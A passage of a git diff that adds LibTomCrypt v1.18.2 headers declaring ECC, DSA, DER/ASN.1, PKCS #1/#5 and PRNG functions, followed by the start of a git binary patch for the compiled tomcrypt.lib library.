*in, unsigned long inlen, ecc_key *key); +int ecc_import_ex(const unsigned char *in, unsigned long inlen, ecc_key *key, const ltc_ecc_set_type *dp); + +int ecc_ansi_x963_export(ecc_key *key, unsigned char *out, unsigned long *outlen); +int ecc_ansi_x963_import(const unsigned char *in, unsigned long inlen, ecc_key *key); +int ecc_ansi_x963_import_ex(const unsigned char *in, unsigned long inlen, ecc_key *key, ltc_ecc_set_type *dp); + +int ecc_shared_secret(ecc_key *private_key, ecc_key *public_key, + unsigned char *out, unsigned long *outlen); + +int ecc_encrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + prng_state *prng, int wprng, int hash, + ecc_key *key); + +int ecc_decrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + ecc_key *key); + +int ecc_sign_hash_rfc7518(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + prng_state *prng, int wprng, ecc_key *key); + +int ecc_sign_hash(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + prng_state *prng, int wprng, ecc_key *key); + +int ecc_verify_hash_rfc7518(const unsigned char *sig, unsigned long siglen, + const unsigned char *hash, unsigned long hashlen, + int *stat, ecc_key *key); + +int ecc_verify_hash(const unsigned char *sig, unsigned long siglen, + const unsigned char *hash, unsigned long hashlen, + int *stat, ecc_key *key); + +/* low level functions */ +ecc_point *ltc_ecc_new_point(void); +void ltc_ecc_del_point(ecc_point *p); +int ltc_ecc_is_valid_idx(int n); + +/* point ops (mp == montgomery digit) */ +#if !defined(LTC_MECC_ACCEL) || defined(LTM_DESC) || defined(GMP_DESC) +/* R = 2P */ +int ltc_ecc_projective_dbl_point(ecc_point *P, ecc_point *R, void *modulus, void *mp); + +/* R = P + Q */ +int ltc_ecc_projective_add_point(ecc_point *P, ecc_point *Q, ecc_point *R, void *modulus, void *mp); +#endif + +#if defined(LTC_MECC_FP) +/* optimized point multiplication using fixed point cache (HAC algorithm 14.117) */ +int ltc_ecc_fp_mulmod(void *k, ecc_point *G, ecc_point *R, void *modulus, int map); + +/* functions for saving/loading/freeing/adding to fixed point cache */ +int ltc_ecc_fp_save_state(unsigned char **out, unsigned long *outlen); +int ltc_ecc_fp_restore_state(unsigned char *in, unsigned long inlen); +void ltc_ecc_fp_free(void); +int ltc_ecc_fp_add_point(ecc_point *g, void *modulus, int lock); + +/* lock/unlock all points currently in fixed point cache */ +void ltc_ecc_fp_tablelock(int lock); +#endif + +/* R = kG */ +int ltc_ecc_mulmod(void *k, ecc_point *G, ecc_point *R, void *modulus, int map); + +#ifdef LTC_ECC_SHAMIR +/* kA*A + kB*B = C */ +int ltc_ecc_mul2add(ecc_point *A, void *kA, + ecc_point *B, void *kB, + ecc_point *C, + void *modulus); + +#ifdef LTC_MECC_FP +/* Shamir's trick with optimized point multiplication using fixed point cache */ +int ltc_ecc_fp_mul2add(ecc_point *A, void *kA, + ecc_point *B, void *kB, + ecc_point *C, void *modulus); +#endif + +#endif + + +/* map P to affine from projective */ +int ltc_ecc_map(ecc_point *P, void *modulus, void *mp); + +#endif + +#ifdef LTC_MDSA + +/* Max diff between group and modulus size in bytes */ +#define LTC_MDSA_DELTA 512 + +/* Max DSA group size in bytes (default allows 4k-bit groups) */ +#define LTC_MDSA_MAX_GROUP 512 + +/** DSA key structure */ +typedef struct { + /** The key type, PK_PRIVATE or PK_PUBLIC */ + int type; + + /** The order of the sub-group used in octets */ + int qord; + + /** The generator */ + void *g; + + /** The prime used to generate the sub-group */ + void *q; + + /** The large prime that generats the field the contains the sub-group */ + void *p; + + /** The private key */ + void *x; + + /** The public key */ + void *y; +} dsa_key; + +int dsa_make_key(prng_state *prng, int wprng, int group_size, int modulus_size, dsa_key *key); + +int dsa_set_pqg(const unsigned char *p, unsigned long plen, + const unsigned char *q, unsigned long qlen, + const unsigned char *g, unsigned long glen, + dsa_key *key); +int dsa_set_pqg_dsaparam(const unsigned char *dsaparam, unsigned long dsaparamlen, dsa_key *key); +int dsa_generate_pqg(prng_state *prng, int wprng, int group_size, int modulus_size, dsa_key *key); + +int dsa_set_key(const unsigned char *in, unsigned long inlen, int type, dsa_key *key); +int dsa_generate_key(prng_state *prng, int wprng, dsa_key *key); + +void dsa_free(dsa_key *key); + +int dsa_sign_hash_raw(const unsigned char *in, unsigned long inlen, + void *r, void *s, + prng_state *prng, int wprng, dsa_key *key); + +int dsa_sign_hash(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + prng_state *prng, int wprng, dsa_key *key); + +int dsa_verify_hash_raw( void *r, void *s, + const unsigned char *hash, unsigned long hashlen, + int *stat, dsa_key *key); + +int dsa_verify_hash(const unsigned char *sig, unsigned long siglen, + const unsigned char *hash, unsigned long hashlen, + int *stat, dsa_key *key); + +int dsa_encrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + prng_state *prng, int wprng, int hash, + dsa_key *key); + +int dsa_decrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + dsa_key *key); + +int dsa_import(const unsigned char *in, unsigned long inlen, dsa_key *key); +int dsa_export(unsigned char *out, unsigned long *outlen, int type, dsa_key *key); +int dsa_verify_key(dsa_key *key, int *stat); +#ifdef LTC_SOURCE +/* internal helper functions */ +int dsa_int_validate_xy(dsa_key *key, int *stat); +int dsa_int_validate_pqg(dsa_key *key, int *stat); +int dsa_int_validate_primes(dsa_key *key, int *stat); +#endif +int dsa_shared_secret(void *private_key, void *base, + dsa_key *public_key, + unsigned char *out, unsigned long *outlen); +#endif + +#ifdef LTC_DER +/* DER handling */ + +typedef enum ltc_asn1_type_ { + /* 0 */ + LTC_ASN1_EOL, + LTC_ASN1_BOOLEAN, + LTC_ASN1_INTEGER, + LTC_ASN1_SHORT_INTEGER, + LTC_ASN1_BIT_STRING, + /* 5 */ + LTC_ASN1_OCTET_STRING, + LTC_ASN1_NULL, + LTC_ASN1_OBJECT_IDENTIFIER, + LTC_ASN1_IA5_STRING, + LTC_ASN1_PRINTABLE_STRING, + /* 10 */ + LTC_ASN1_UTF8_STRING, + LTC_ASN1_UTCTIME, + LTC_ASN1_CHOICE, + LTC_ASN1_SEQUENCE, + LTC_ASN1_SET, + /* 15 */ + LTC_ASN1_SETOF, + LTC_ASN1_RAW_BIT_STRING, + LTC_ASN1_TELETEX_STRING, + LTC_ASN1_CONSTRUCTED, + LTC_ASN1_CONTEXT_SPECIFIC, + /* 20 */ + LTC_ASN1_GENERALIZEDTIME, +} ltc_asn1_type; + +/** A LTC ASN.1 list type */ +typedef struct ltc_asn1_list_ { + /** The LTC ASN.1 enumerated type identifier */ + ltc_asn1_type type; + /** The data to encode or place for decoding */ + void *data; + /** The size of the input or resulting output */ + unsigned long size; + /** The used flag, this is used by the CHOICE ASN.1 type to indicate which choice was made */ + int used; + /** prev/next entry in the list */ + struct ltc_asn1_list_ *prev, *next, *child, *parent; +} ltc_asn1_list; + +#define LTC_SET_ASN1(list, index, Type, Data, Size) \ + do { \ + int LTC_MACRO_temp = (index); \ + ltc_asn1_list *LTC_MACRO_list = (list); \ + LTC_MACRO_list[LTC_MACRO_temp].type = (Type); \ + LTC_MACRO_list[LTC_MACRO_temp].data = (void*)(Data); \ + LTC_MACRO_list[LTC_MACRO_temp].size = (Size); \ + LTC_MACRO_list[LTC_MACRO_temp].used = 0; \ + } while (0) + +/* SEQUENCE */ +int der_encode_sequence_ex(ltc_asn1_list *list, unsigned long inlen, + unsigned char *out, unsigned long *outlen, int type_of); + +#define der_encode_sequence(list, inlen, out, outlen) der_encode_sequence_ex(list, inlen, out, outlen, LTC_ASN1_SEQUENCE) + +int der_decode_sequence_ex(const unsigned char *in, unsigned long inlen, + ltc_asn1_list *list, unsigned long outlen, int ordered); + +#define der_decode_sequence(in, inlen, list, outlen) der_decode_sequence_ex(in, inlen, list, outlen, 1) + +int der_length_sequence(ltc_asn1_list *list, unsigned long inlen, + unsigned long *outlen); + + +#ifdef LTC_SOURCE +/* internal helper functions */ +int der_length_sequence_ex(ltc_asn1_list *list, unsigned long inlen, + unsigned long *outlen, unsigned long *payloadlen); +/* SUBJECT PUBLIC KEY INFO */ +int der_encode_subject_public_key_info(unsigned char *out, unsigned long *outlen, + unsigned int algorithm, void* public_key, unsigned long public_key_len, + unsigned long parameters_type, void* parameters, unsigned long parameters_len); + +int der_decode_subject_public_key_info(const unsigned char *in, unsigned long inlen, + unsigned int algorithm, void* public_key, unsigned long* public_key_len, + unsigned long parameters_type, ltc_asn1_list* parameters, unsigned long parameters_len); +#endif /* LTC_SOURCE */ + +/* SET */ +#define der_decode_set(in, inlen, list, outlen) der_decode_sequence_ex(in, inlen, list, outlen, 0) +#define der_length_set der_length_sequence +int der_encode_set(ltc_asn1_list *list, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +int der_encode_setof(ltc_asn1_list *list, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +/* VA list handy helpers with triplets of */ +int der_encode_sequence_multi(unsigned char *out, unsigned long *outlen, ...); +int der_decode_sequence_multi(const unsigned char *in, unsigned long inlen, ...); + +/* FLEXI DECODER handle unknown list decoder */ +int der_decode_sequence_flexi(const unsigned char *in, unsigned long *inlen, ltc_asn1_list **out); +#define der_free_sequence_flexi der_sequence_free +void der_sequence_free(ltc_asn1_list *in); +void der_sequence_shrink(ltc_asn1_list *in); + +/* BOOLEAN */ +int der_length_boolean(unsigned long *outlen); +int der_encode_boolean(int in, + unsigned char *out, unsigned long *outlen); +int der_decode_boolean(const unsigned char *in, unsigned long inlen, + int *out); +/* INTEGER */ +int der_encode_integer(void *num, unsigned char *out, unsigned long *outlen); +int der_decode_integer(const unsigned char *in, unsigned long inlen, void *num); +int der_length_integer(void *num, unsigned long *len); + +/* INTEGER -- handy for 0..2^32-1 values */ +int der_decode_short_integer(const unsigned char *in, unsigned long inlen, unsigned long *num); +int der_encode_short_integer(unsigned long num, unsigned char *out, unsigned long *outlen); +int der_length_short_integer(unsigned long num, unsigned long *outlen); + +/* BIT STRING */ +int der_encode_bit_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_decode_bit_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_encode_raw_bit_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_decode_raw_bit_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_length_bit_string(unsigned long nbits, unsigned long *outlen); + +/* OCTET STRING */ +int der_encode_octet_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_decode_octet_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_length_octet_string(unsigned long noctets, unsigned long *outlen); + +/* OBJECT IDENTIFIER */ +int der_encode_object_identifier(unsigned long *words, unsigned long nwords, + unsigned char *out, unsigned long *outlen); +int der_decode_object_identifier(const unsigned char *in, unsigned long inlen, + unsigned long *words, unsigned long *outlen); +int der_length_object_identifier(unsigned long *words, unsigned long nwords, unsigned long *outlen); +unsigned long der_object_identifier_bits(unsigned long x); + +/* IA5 STRING */ +int der_encode_ia5_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_decode_ia5_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_length_ia5_string(const unsigned char *octets, unsigned long noctets, unsigned long *outlen); + +int der_ia5_char_encode(int c); +int der_ia5_value_decode(int v); + +/* TELETEX STRING */ +int der_decode_teletex_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_length_teletex_string(const unsigned char *octets, unsigned long noctets, unsigned long *outlen); + +#ifdef LTC_SOURCE +/* internal helper functions */ +int der_teletex_char_encode(int c); +int der_teletex_value_decode(int v); +#endif /* LTC_SOURCE */ + + +/* PRINTABLE STRING */ +int der_encode_printable_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_decode_printable_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_length_printable_string(const unsigned char *octets, unsigned long noctets, unsigned long *outlen); + +int der_printable_char_encode(int c); +int der_printable_value_decode(int v); + +/* UTF-8 */ +#if (defined(SIZE_MAX) || __STDC_VERSION__ >= 199901L || defined(WCHAR_MAX) || defined(__WCHAR_MAX__) || defined(_WCHAR_T) || defined(_WCHAR_T_DEFINED) || defined (__WCHAR_TYPE__)) && !defined(LTC_NO_WCHAR) + #if defined(__WCHAR_MAX__) + #define LTC_WCHAR_MAX __WCHAR_MAX__ + #else + #include + #define LTC_WCHAR_MAX WCHAR_MAX + #endif +/* please note that it might happen that LTC_WCHAR_MAX is undefined */ +#else + typedef ulong32 wchar_t; + #define LTC_WCHAR_MAX 0xFFFFFFFF +#endif + +int der_encode_utf8_string(const wchar_t *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +int der_decode_utf8_string(const unsigned char *in, unsigned long inlen, + wchar_t *out, unsigned long *outlen); +unsigned long der_utf8_charsize(const wchar_t c); +#ifdef LTC_SOURCE +/* internal helper functions */ +int der_utf8_valid_char(const wchar_t c); +#endif /* LTC_SOURCE */ +int der_length_utf8_string(const wchar_t *in, unsigned long noctets, unsigned long *outlen); + + +/* CHOICE */ +int der_decode_choice(const unsigned char *in, unsigned long *inlen, + ltc_asn1_list *list, unsigned long outlen); + +/* UTCTime */ +typedef struct { + unsigned YY, /* year */ + MM, /* month */ + DD, /* day */ + hh, /* hour */ + mm, /* minute */ + ss, /* second */ + off_dir, /* timezone offset direction 0 == +, 1 == - */ + off_hh, /* timezone offset hours */ + off_mm; /* timezone offset minutes */ +} ltc_utctime; + +int der_encode_utctime(ltc_utctime *utctime, + unsigned char *out, unsigned long *outlen); + +int der_decode_utctime(const unsigned char *in, unsigned long *inlen, + ltc_utctime *out); + +int der_length_utctime(ltc_utctime *utctime, unsigned long *outlen); + +/* GeneralizedTime */ +typedef struct { + unsigned YYYY, /* year */ + MM, /* month */ + DD, /* day */ + hh, /* hour */ + mm, /* minute */ + ss, /* second */ + fs, /* fractional seconds */ + off_dir, /* timezone offset direction 0 == +, 1 == - */ + off_hh, /* timezone offset hours */ + off_mm; /* timezone offset minutes */ +} ltc_generalizedtime; + +int der_encode_generalizedtime(ltc_generalizedtime *gtime, + unsigned char *out, unsigned long *outlen); + +int der_decode_generalizedtime(const unsigned char *in, unsigned long *inlen, + ltc_generalizedtime *out); + +int der_length_generalizedtime(ltc_generalizedtime *gtime, unsigned long *outlen); + + +#endif + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_pkcs.h b/include/tomcrypt_pkcs.h new file mode 100644 index 0000000..b84028f --- /dev/null +++ b/include/tomcrypt_pkcs.h @@ -0,0 +1,108 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* PKCS Header Info */ + +/* ===> PKCS #1 -- RSA Cryptography <=== */ +#ifdef LTC_PKCS_1 + +enum ltc_pkcs_1_v1_5_blocks +{ + LTC_PKCS_1_EMSA = 1, /* Block type 1 (PKCS #1 v1.5 signature padding) */ + LTC_PKCS_1_EME = 2 /* Block type 2 (PKCS #1 v1.5 encryption padding) */ +}; + +enum ltc_pkcs_1_paddings +{ + LTC_PKCS_1_V1_5 = 1, /* PKCS #1 v1.5 padding (\sa ltc_pkcs_1_v1_5_blocks) */ + LTC_PKCS_1_OAEP = 2, /* PKCS #1 v2.0 encryption padding */ + LTC_PKCS_1_PSS = 3, /* PKCS #1 v2.1 signature padding */ + LTC_PKCS_1_V1_5_NA1 = 4 /* PKCS #1 v1.5 padding - No ASN.1 (\sa ltc_pkcs_1_v1_5_blocks) */ +}; + +int pkcs_1_mgf1( int hash_idx, + const unsigned char *seed, unsigned long seedlen, + unsigned char *mask, unsigned long masklen); + +int pkcs_1_i2osp(void *n, unsigned long modulus_len, unsigned char *out); +int pkcs_1_os2ip(void *n, unsigned char *in, unsigned long inlen); + +/* *** v1.5 padding */ +int pkcs_1_v1_5_encode(const unsigned char *msg, + unsigned long msglen, + int block_type, + unsigned long modulus_bitlen, + prng_state *prng, + int prng_idx, + unsigned char *out, + unsigned long *outlen); + +int pkcs_1_v1_5_decode(const unsigned char *msg, + unsigned long msglen, + int block_type, + unsigned long modulus_bitlen, + unsigned char *out, + unsigned long *outlen, + int *is_valid); + +/* *** v2.1 padding */ +int pkcs_1_oaep_encode(const unsigned char *msg, unsigned long msglen, + const unsigned char *lparam, unsigned long lparamlen, + unsigned long modulus_bitlen, prng_state *prng, + int prng_idx, int hash_idx, + unsigned char *out, unsigned long *outlen); + +int pkcs_1_oaep_decode(const unsigned char *msg, unsigned long msglen, + const unsigned char *lparam, unsigned long lparamlen, + unsigned long modulus_bitlen, int hash_idx, + unsigned char *out, unsigned long *outlen, + int *res); + +int pkcs_1_pss_encode(const unsigned char *msghash, unsigned long msghashlen, + unsigned long saltlen, prng_state *prng, + int prng_idx, int hash_idx, + unsigned long modulus_bitlen, + unsigned char *out, unsigned long *outlen); + +int pkcs_1_pss_decode(const unsigned char *msghash, unsigned long msghashlen, + const unsigned char *sig, unsigned long siglen, + unsigned long saltlen, int hash_idx, + unsigned long modulus_bitlen, int *res); + +#endif /* LTC_PKCS_1 */ + +/* ===> PKCS #5 -- Password Based Cryptography <=== */ +#ifdef LTC_PKCS_5 + +/* Algorithm #1 (PBKDF1) */ +int pkcs_5_alg1(const unsigned char *password, unsigned long password_len, + const unsigned char *salt, + int iteration_count, int hash_idx, + unsigned char *out, unsigned long *outlen); + +/* Algorithm #1 (PBKDF1) - OpenSSL-compatible variant for arbitrarily-long keys. + Compatible with EVP_BytesToKey() */ +int pkcs_5_alg1_openssl(const unsigned char *password, + unsigned long password_len, + const unsigned char *salt, + int iteration_count, int hash_idx, + unsigned char *out, unsigned long *outlen); + +/* Algorithm #2 (PBKDF2) */ +int pkcs_5_alg2(const unsigned char *password, unsigned long password_len, + const unsigned char *salt, unsigned long salt_len, + int iteration_count, int hash_idx, + unsigned char *out, unsigned long *outlen); + +int pkcs_5_test (void); +#endif /* LTC_PKCS_5 */ + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_prng.h b/include/tomcrypt_prng.h new file mode 100644 index 0000000..1fa1643 --- /dev/null +++ b/include/tomcrypt_prng.h @@ -0,0 +1,232 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- PRNG Stuff ---- */ +#ifdef LTC_YARROW +struct yarrow_prng { + int cipher, hash; + unsigned char pool[MAXBLOCKSIZE]; + symmetric_CTR ctr; +}; +#endif + +#ifdef LTC_RC4 +struct rc4_prng { + rc4_state s; +}; +#endif + +#ifdef LTC_CHACHA20_PRNG +struct chacha20_prng { + chacha_state s; /* chacha state */ + unsigned char ent[40]; /* entropy buffer */ + unsigned long idx; /* entropy counter */ +}; +#endif + +#ifdef LTC_FORTUNA +struct fortuna_prng { + hash_state pool[LTC_FORTUNA_POOLS]; /* the pools */ + + symmetric_key skey; + + unsigned char K[32], /* the current key */ + IV[16]; /* IV for CTR mode */ + + unsigned long pool_idx, /* current pool we will add to */ + pool0_len, /* length of 0'th pool */ + wd; + + ulong64 reset_cnt; /* number of times we have reset */ +}; +#endif + +#ifdef LTC_SOBER128 +struct sober128_prng { + sober128_state s; /* sober128 state */ + unsigned char ent[40]; /* entropy buffer */ + unsigned long idx; /* entropy counter */ +}; +#endif + +typedef struct { + union { + char dummy[1]; +#ifdef LTC_YARROW + struct yarrow_prng yarrow; +#endif +#ifdef LTC_RC4 + struct rc4_prng rc4; +#endif +#ifdef LTC_CHACHA20_PRNG + struct chacha20_prng chacha; +#endif +#ifdef LTC_FORTUNA + struct fortuna_prng fortuna; +#endif +#ifdef LTC_SOBER128 + struct sober128_prng sober128; +#endif + }; + short ready; /* ready flag 0-1 */ + LTC_MUTEX_TYPE(lock) /* lock */ +} prng_state; + +/** PRNG descriptor */ +extern struct ltc_prng_descriptor { + /** Name of the PRNG */ + const char *name; + /** size in bytes of exported state */ + int export_size; + /** Start a PRNG state + @param prng [out] The state to initialize + @return CRYPT_OK if successful + */ + int (*start)(prng_state *prng); + /** Add entropy to the PRNG + @param in The entropy + @param inlen Length of the entropy (octets)\ + @param prng The PRNG state + @return CRYPT_OK if successful + */ + int (*add_entropy)(const unsigned char *in, unsigned long inlen, prng_state *prng); + /** Ready a PRNG state to read from + @param prng The PRNG state to ready + @return CRYPT_OK if successful + */ + int (*ready)(prng_state *prng); + /** Read from the PRNG + @param out [out] Where to store the data + @param outlen Length of data desired (octets) + @param prng The PRNG state to read from + @return Number of octets read + */ + unsigned long (*read)(unsigned char *out, unsigned long outlen, prng_state *prng); + /** Terminate a PRNG state + @param prng The PRNG state to terminate + @return CRYPT_OK if successful + */ + int (*done)(prng_state *prng); + /** Export a PRNG state + @param out [out] The destination for the state + @param outlen [in/out] The max size and resulting size of the PRNG state + @param prng The PRNG to export + @return CRYPT_OK if successful + */ + int (*pexport)(unsigned char *out, unsigned long *outlen, prng_state *prng); + /** Import a PRNG state + @param in The data to import + @param inlen The length of the data to import (octets) + @param prng The PRNG to initialize/import + @return CRYPT_OK if successful + */ + int (*pimport)(const unsigned char *in, unsigned long inlen, prng_state *prng); + /** Self-test the PRNG + @return CRYPT_OK if successful, CRYPT_NOP if self-testing has been disabled + */ + int (*test)(void); +} prng_descriptor[]; + +#ifdef LTC_YARROW +int yarrow_start(prng_state *prng); +int yarrow_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int yarrow_ready(prng_state *prng); +unsigned long yarrow_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int yarrow_done(prng_state *prng); +int yarrow_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int yarrow_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int yarrow_test(void); +extern const struct ltc_prng_descriptor yarrow_desc; +#endif + +#ifdef LTC_FORTUNA +int fortuna_start(prng_state *prng); +int fortuna_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int fortuna_ready(prng_state *prng); +unsigned long fortuna_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int fortuna_done(prng_state *prng); +int fortuna_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int fortuna_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int fortuna_test(void); +extern const struct ltc_prng_descriptor fortuna_desc; +#endif + +#ifdef LTC_RC4 +int rc4_start(prng_state *prng); +int rc4_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int rc4_ready(prng_state *prng); +unsigned long rc4_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int rc4_done(prng_state *prng); +int rc4_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int rc4_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int rc4_test(void); +extern const struct ltc_prng_descriptor rc4_desc; +#endif + +#ifdef LTC_CHACHA20_PRNG +int chacha20_prng_start(prng_state *prng); +int chacha20_prng_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int chacha20_prng_ready(prng_state *prng); +unsigned long chacha20_prng_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int chacha20_prng_done(prng_state *prng); +int chacha20_prng_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int chacha20_prng_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int chacha20_prng_test(void); +extern const struct ltc_prng_descriptor chacha20_prng_desc; +#endif + +#ifdef LTC_SPRNG +int sprng_start(prng_state *prng); +int sprng_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int sprng_ready(prng_state *prng); +unsigned long sprng_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int sprng_done(prng_state *prng); +int sprng_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int sprng_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int sprng_test(void); +extern const struct ltc_prng_descriptor sprng_desc; +#endif + +#ifdef LTC_SOBER128 +int sober128_start(prng_state *prng); +int sober128_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int sober128_ready(prng_state *prng); +unsigned long sober128_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int sober128_done(prng_state *prng); +int sober128_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int sober128_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int sober128_test(void); +extern const struct ltc_prng_descriptor sober128_desc; +#endif + +int find_prng(const char *name); +int register_prng(const struct ltc_prng_descriptor *prng); +int unregister_prng(const struct ltc_prng_descriptor *prng); +int register_all_prngs(void); +int prng_is_valid(int idx); +LTC_MUTEX_PROTO(ltc_prng_mutex) + +/* Slow RNG you **might** be able to use to seed a PRNG with. Be careful as this + * might not work on all platforms as planned + */ +unsigned long rng_get_bytes(unsigned char *out, + unsigned long outlen, + void (*callback)(void)); + +int rng_make_prng(int bits, int wprng, prng_state *prng, void (*callback)(void)); + +#ifdef LTC_PRNG_ENABLE_LTC_RNG +extern unsigned long (*ltc_rng)(unsigned char *out, unsigned long outlen, + void (*callback)(void)); +#endif + + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/lib/tomcrypt.lib b/lib/tomcrypt.lib new file mode 100644 index 0000000000000000000000000000000000000000..1e12cc1e1b5127db821735cf701e2ef8d4cc4910 GIT binary patch literal 3542288 zcmeFa3z!{8buPMEvSmq@WxZdPWC_c%WJ_jd&+I+3jq&t*zq=c0Y-|VE9?e4yx`;Oadw7a@$)v8si-fOMeedWm9=&`F-zI2!VUvH^cD3r6%r zQ@H0*I_pf~AKyr4W#H`9FA|5BETgj-R9F6LaFb7GOL+gIbT$LjEr(|Y>1+lsZs4$N z?SsT&*8(kLP(2`E;#yk9;4SYEaCbz@9=Vs6J^ere=bXKT61eO&bk56PpThVAox|X5 zm+J6`chfmPdo&l8?|p$1c=bwJ&fvszI(%d=E$;?T_0w_&Kioho=(ZFFAEXt--_v0t zpcN86*h4E+_{%M{LWOVMN-JVmx#o++VHeR#2A97e!2LO`WN_?W0dFtSN(uKYp_L3C z#kc>z!wV17$_$*lH=quP#^_uLxBZCDW$=NIr0{3Y(7C6BXTC@0{@@7?t2S&R4#UsW zDh9_R0k^KERSbUr?E)VB5v^kIPao%S-qO2BgB_oy^RiHh=sX6an*_Y+`*a?IJ8u_o z&v)oN27h(EfWLc;&igll)oZ6ngZ*!$)eNka0-96>$GBtz+=$hXs875n9LKNAKjYe$^i0aFI*vUwRg;zw*USI6Oz|vvA6! z^$gzjP67AcM(b7h+zqsz!P8$$;a?x1^?(gauMx0uC2e4E$z8Oe4`C9*hiC(XiAM#z z5os8_Z;yaaTtyogJor5UUs+BYzVWmUzj%r^05+~Q1zfy_HZmC6Cm{MfZDcU&rf~B& zX(NMo^$7UzH)tb+&m5qQpZ(VqzW!<2$l!V40&H5gT)>_uXcL3d?E-3RXp@8+uB1&2 z=IN9FRl0z| zb06q{?JI924i`O5+a(Mwq3sInpjEWv+{aSbU8fxku6Pyg2(K4#qfI+hxWl9!3_kQ} z+HucYba)u}7(D&K6n==fIk2;D4eh+@3ECMvm%`B-Xy-h_7`)?I0Ux`ab~5#n2=$9|r|>$cE^41VWQ0r!58E@bfe%LRPv0A0x77cbDR z6`x6A`^RV(gW`<>!aHaegB$M_aK}Bgi@`_VLc2aWn8N2)(=G;I{|W7S{)-9hUioq2 zuy2fZGZ@-SyBlW-7~4j>8QfM9@OyXB?kwE@D%$<<6$1V~qTLLBIK|;5YaXKxIQV{g z$zt#V(sY4~uIr%=IQ|S>^lt$Vt)z?c;A{8MMS1Y!3A(5Y>>1ibxp3V(X-_x!%>A?{ z5B~Nc+S3ItUb>FDLVFKg+zswsLKk;|y=QNruFzagd%MByAEv$C-~puT2H(7i_A>az z;~Xy8w2L_OyhxWYaKE`Yyy;_f$-g1&TYifEP2u5Pv@Z+)M6~bw57B<(A87w-JB5QK z+Rvc&uz=C4Xg`BfHwn1&3fj-$-XEp#h1+QVS4`Uf?dxg(51-+1>CT^00xx@tE@d!m z3Yf9!QU-S%6Y$Yb(WMd|`X*h<;2(xl_}No***SNmu;pWP8H2tX=`!zby6n}qfSXOa zjKRA~0{-|IUB&?Gn*_dk1zq;+Pc=BOWIJ)#{s0|d(0iwV#uOc3F!_vt*WXVE7`&&4 z4*bDB0iS-H4oLXI2j~EUZ&&HSj}LG-xZ-)@u=8m;$e{0j0bZRBzG7txN7m6n2Cw^+ zfcu+tP{QK~WALp91pIP}4gxOU=$<(^yXf*WfluB`m!A&4`yIOcH1N{DuhYL5^i&?8 z)505mPCciC`+h<_X97RiM?I&3-hKDduLQq-JN2Fp{`z_9Jq;AvSJG+WPamPe|0MK% z{HJs}=_oV;mje452|!=Yl2 z7RjlYZmZdOhNjK(UKr{#y6^Zw#WH73F62k;VBqN7Ewc;M5j-|CJ>D4#3IrQEKh2LX zOx~0md~%lBbEExvHD|(T56YnxXztt!}{MYNJvQn^kj?S6|nvZkk@R 